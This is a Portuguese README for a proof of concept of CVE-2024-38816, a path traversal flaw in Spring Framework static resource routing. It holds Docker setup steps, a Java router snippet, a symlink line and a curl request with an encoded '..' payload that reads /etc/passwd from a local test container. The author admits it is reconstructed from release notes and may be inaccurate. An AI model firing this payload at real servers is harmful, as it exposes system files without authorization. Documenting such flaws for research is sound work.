
CVE-2024-38816 Prova de Conceito
Esta é uma prova de conceito para a vulnerabilidade CVE-2024-38816, demonstrando uma exploração de path traversal.
Construa a imagem Docker: (Spring Boot 3.0.13, baseado no Spring Framework 6.0.3)
docker build -t cve-2024-38816-poc .
Execute o contêiner e exponha a porta 8080 para a máquina host:
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
Execute o seguinte comando para executar o PoC e confirmar a vulnerabilidade:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Se o conteúdo do arquivo /etc/passwd for exibido, a vulnerabilidade é confirmada.
Este PoC foi criado com base em uma análise das notas de versão e dos logs de commits. O comportamento da vulnerabilidade real pode diferir, portanto a precisão não é garantida. Use por sua conta e risco.
A vulnerabilidade foi corrigida no Spring Framework 6.1.13, conforme confirmado pelas notas de versão.
Ao revisar as notas de versão e os logs de commits relacionados, identifiquei os seguintes dois problemas como potencialmente ligados a esta vulnerabilidade:
De acordo com o aviso de segurança, as seguintes condições provavelmente precisam ser atendidas para que o ataque tenha sucesso:
RouterFunctions é usadoFileSystemResource é usadoUm ambiente Docker é usado para reproduzir a vulnerabilidade.
Crie PathTraversalDemoApplication.java com o seguinte código para configurar o roteamento de arquivos estáticos usando RouterFunction e FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Adicione o seguinte comando ao Dockerfile para criar um link simbólico:
RUN ln -s /static /app/static/link
Crie um payload que utilize a codificação % para atravessar diretórios por meio do link simbólico.
/static/link/%2e%2e/etc/passwdUse o seguinte comando curl para executar o PoC e verificar se o ataque é bem-sucedido:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Se o ataque for bem-sucedido, o conteúdo do arquivo /etc/passwd será exibido.
Este PoC é fornecido para fins educacionais e de pesquisa em segurança. Antes de usá-lo em um sistema real, certifique-se de que a vulnerabilidade foi corrigida e de que você tem autorização adequada. O autor não se responsabiliza por qualquer uso indevido deste código.